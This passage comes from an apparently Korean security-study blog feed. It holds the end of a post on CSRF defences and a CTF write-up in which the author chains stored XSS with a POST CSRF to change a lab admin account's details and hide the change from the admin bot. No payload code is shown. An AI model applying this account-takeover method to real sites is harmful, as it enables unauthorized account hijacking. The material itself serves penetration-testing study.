&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이루어지지 않아 발생 한 것 입니다.&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이와 같이 CSRF 토큰이나 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;referrer &lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;check 같은 곳에서도 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;우회가 가능하는 경우가 있습니다. 그럼 어떻게 막아야할까???&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF는 요청을 미리 예측이 가능하다는 점 에서 문제가 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;생기는 것 입니다. 그렇다면 요청을 미리&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;작성하지 못하게 만들면 되지 않을까 싶습니다.&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;EX) 비밀번호 변경 시 전 에 쓰던 비밀번호 입력하기&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;OR 로그인 시 재 인증 휴대폰 인증 OTP 인증 등...&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;재일 중요한 것은 XSS 관련 취약점을 먼저 제거 하는 것이 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;1순위라고 생각합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보안 공부/모의해킹 스터디 9기</category>
      <author>mister jeon</author>
      <guid isPermaLink="true">https://thjkl2004.tistory.com/45</guid>
      <comments>https://thjkl2004.tistory.com/45#entry45comment</comments>
      <pubDate>Fri, 9 Jan 2026 21:51:31 +0900</pubDate>
    </item>
    <item>
      <title>모의해킹 취업반 스터디 9기 12주차 (2) CSRF</title>
      <link>https://thjkl2004.tistory.com/43</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;12주차 (2)&amp;nbsp; &amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이번에도 CSRF 공격으로 CTF 문제를 풀어보겠습니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;&lt;b&gt;&amp;lt; GET Admin2 &amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;1014&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTeJhH/dJMcai9LvMt/IzB2avonjVDoP7wwlJnO7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTeJhH/dJMcai9LvMt/IzB2avonjVDoP7wwlJnO7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTeJhH/dJMcai9LvMt/IzB2avonjVDoP7wwlJnO7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTeJhH%2FdJMcai9LvMt%2FIzB2avonjVDoP7wwlJnO7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1003&quot; height=&quot;1014&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;1014&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;역시 GET Admin2 에서도 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;본인만의 admin 계정을 탈취하고 flag를 얻는 것 입니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;똑같은 아이디 test12 계정을 생성하고 테스트 해보겠습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 CSRF 공격전 XSS 취약점이 있는지 확인하겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o3OnL/dJMcajgxkCR/uH5kE2QrtxFu2YBdS7zFB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o3OnL/dJMcajgxkCR/uH5kE2QrtxFu2YBdS7zFB0/img.png&quot; data-origin-width=&quot;1479&quot; data-origin-height=&quot;697&quot; data-is-animation=&quot;false&quot; style=&quot;width: 34.6426%; margin-right: 10px;&quot; data-widthpercent=&quot;35.47&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o3OnL/dJMcajgxkCR/uH5kE2QrtxFu2YBdS7zFB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo3OnL%2FdJMcajgxkCR%2FuH5kE2QrtxFu2YBdS7zFB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1479&quot; height=&quot;697&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIUFHe/dJMcaaxbeYY/TgJuYCmprGA4k9mThNhhkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIUFHe/dJMcaaxbeYY/TgJuYCmprGA4k9mThNhhkk/img.png&quot; data-origin-width=&quot;1111&quot; data-origin-height=&quot;644&quot; data-is-animation=&quot;false&quot; style=&quot;width: 28.1646%; margin-right: 10px;&quot; data-widthpercent=&quot;28.84&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIUFHe/dJMcaaxbeYY/TgJuYCmprGA4k9mThNhhkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIUFHe%2FdJMcaaxbeYY%2FTgJuYCmprGA4k9mThNhhkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1111&quot; height=&quot;644&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/StlXH/dJMcai9LxN5/92KImbkKW1tdBLAyhJmoP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/StlXH/dJMcai9LxN5/92KImbkKW1tdBLAyhJmoP0/img.png&quot; data-origin-width=&quot;1621&quot; data-origin-height=&quot;759&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;35.69&quot; data-filename=&quot;blob&quot; style=&quot;width: 34.8672%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/StlXH/dJMcai9LxN5/92KImbkKW1tdBLAyhJmoP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FStlXH%2FdJMcai9LxN5%2F92KImbkKW1tdBLAyhJmoP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1621&quot; height=&quot;759&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 방식은 전 CTF 문제에서는 get 방식이지만 이번엔 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;post 방식으로 보내고 있습니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그리고 XSS 취약점이 있는지 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;확인하기 위해 테스트를 진행해봤는데 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;역시 게시글에 XSS 취약점이 있는 모습입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXqhhQ/dJMcaajEbhu/NbwveMuORphd4ucw7TRKIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXqhhQ/dJMcaajEbhu/NbwveMuORphd4ucw7TRKIK/img.png&quot; data-origin-width=&quot;1649&quot; data-origin-height=&quot;1361&quot; data-is-animation=&quot;false&quot; style=&quot;width: 46.8289%; margin-right: 10px;&quot; data-widthpercent=&quot;47.38&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXqhhQ/dJMcaajEbhu/NbwveMuORphd4ucw7TRKIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXqhhQ%2FdJMcaajEbhu%2FNbwveMuORphd4ucw7TRKIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1649&quot; height=&quot;1361&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvZxod/dJMcagYsaK7/LQeniOjyy0YWFIORn5sQPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvZxod/dJMcagYsaK7/LQeniOjyy0YWFIORn5sQPk/img.png&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;1140&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;52.62&quot; data-filename=&quot;blob&quot; style=&quot;width: 52.0083%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvZxod/dJMcagYsaK7/LQeniOjyy0YWFIORn5sQPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdvZxod%2FdJMcagYsaK7%2FLQeniOjyy0YWFIORn5sQPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1534&quot; height=&quot;1140&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cegHZn/dJMcaivanue/0B4GRLBibwYPSG212cRcqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cegHZn/dJMcaivanue/0B4GRLBibwYPSG212cRcqk/img.png&quot; data-origin-width=&quot;1530&quot; data-origin-height=&quot;1037&quot; data-is-animation=&quot;false&quot; style=&quot;width: 59.0732%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;59.77&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cegHZn/dJMcaivanue/0B4GRLBibwYPSG212cRcqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcegHZn%2FdJMcaivanue%2F0B4GRLBibwYPSG212cRcqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1530&quot; height=&quot;1037&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bobXd3/dJMcajgxmhH/a8V3TNG09eWuottFA00Cqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bobXd3/dJMcajgxmhH/a8V3TNG09eWuottFA00Cqk/img.png&quot; data-origin-width=&quot;1014&quot; data-origin-height=&quot;1021&quot; data-is-animation=&quot;false&quot; style=&quot;width: 39.764%; margin-top: 10px;&quot; data-widthpercent=&quot;40.23&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bobXd3/dJMcajgxmhH/a8V3TNG09eWuottFA00Cqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbobXd3%2FdJMcajgxmhH%2Fa8V3TNG09eWuottFA00Cqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1014&quot; height=&quot;1021&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 게시글 수정을 통해 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;스크립트를 작성 후 적용해봤는데 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;회원정보가 수정되는 결과를 볼 수 있습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;심지어 제 계정으로 테스트한 결과 바뀌는 모습입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;아무리 POST 방식이라고 해도 우회 할수 있습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 모든 요청을&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;공격을 할 수 있으며 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;POST &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;방식에는 조건으로&amp;nbsp; &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;XSS 취약점이 있어야 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;사용을 할 수 있습니다. 이제 test12_admin에 적용해볼까요?&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRWUbk/dJMcagqCuKh/kNwWKPHrt7yQUxgK55MW01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRWUbk/dJMcagqCuKh/kNwWKPHrt7yQUxgK55MW01/img.png&quot; data-origin-width=&quot;2366&quot; data-origin-height=&quot;627&quot; data-is-animation=&quot;false&quot; style=&quot;width: 31.101%; margin-right: 10px;&quot; data-widthpercent=&quot;31.84&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRWUbk/dJMcagqCuKh/kNwWKPHrt7yQUxgK55MW01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRWUbk%2FdJMcagqCuKh%2FkNwWKPHrt7yQUxgK55MW01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2366&quot; height=&quot;627&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsfMMd/dJMcaaRt6ux/Mb7uqLi6qYkurCLufHVauk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsfMMd/dJMcaaRt6ux/Mb7uqLi6qYkurCLufHVauk/img.png&quot; data-origin-width=&quot;2287&quot; data-origin-height=&quot;528&quot; data-is-animation=&quot;false&quot; style=&quot;width: 35.6993%; margin-right: 10px;&quot; data-widthpercent=&quot;36.55&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsfMMd/dJMcaaRt6ux/Mb7uqLi6qYkurCLufHVauk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsfMMd%2FdJMcaaRt6ux%2FMb7uqLi6qYkurCLufHVauk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2287&quot; height=&quot;528&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dN2s2n/dJMcabCQtAH/mDrMEkdQ0WkJEKkD14b1i0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dN2s2n/dJMcabCQtAH/mDrMEkdQ0WkJEKkD14b1i0/img.png&quot; data-origin-width=&quot;2566&quot; data-origin-height=&quot;685&quot; data-is-animation=&quot;false&quot; style=&quot;width: 30.8741%;&quot; data-widthpercent=&quot;31.61&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dN2s2n/dJMcabCQtAH/mDrMEkdQ0WkJEKkD14b1i0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdN2s2n%2FdJMcabCQtAH%2FmDrMEkdQ0WkJEKkD14b1i0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2566&quot; height=&quot;685&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자 visit bot에 다음과 같이 적용해봤습니다. 문제는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;중간에 회원정보 수정이 되기 때문에 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;알아차려서 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자가 바꿨다는 모습입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그래서 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;회원수정도 안보이게 처리를 해야합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHz1SW/dJMcaihF95t/IvArLDXlOCl6cTrM3Rz080/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHz1SW/dJMcaihF95t/IvArLDXlOCl6cTrM3Rz080/img.png&quot; data-origin-width=&quot;1549&quot; data-origin-height=&quot;1335&quot; data-is-animation=&quot;false&quot; style=&quot;width: 12.8265%; margin-right: 10px;&quot; data-widthpercent=&quot;13.13&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHz1SW/dJMcaihF95t/IvArLDXlOCl6cTrM3Rz080/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHz1SW%2FdJMcaihF95t%2FIvArLDXlOCl6cTrM3Rz080%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1549&quot; height=&quot;1335&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqiegv/dJMcajt3Xw5/mo9iyhpvOmwoYG81lvJoAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqiegv/dJMcajt3Xw5/mo9iyhpvOmwoYG81lvJoAK/img.png&quot; data-origin-width=&quot;1617&quot; data-origin-height=&quot;1431&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;12.79&quot; style=&quot;width: 12.4913%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqiegv/dJMcajt3Xw5/mo9iyhpvOmwoYG81lvJoAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdqiegv%2FdJMcajt3Xw5%2Fmo9iyhpvOmwoYG81lvJoAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1617&quot; height=&quot;1431&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/druejU/dJMcaiBVD7N/ykKiWYa0x51LcG8fYGHtLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/druejU/dJMcaiBVD7N/ykKiWYa0x51LcG8fYGHtLK/img.png&quot; data-origin-width=&quot;864&quot; 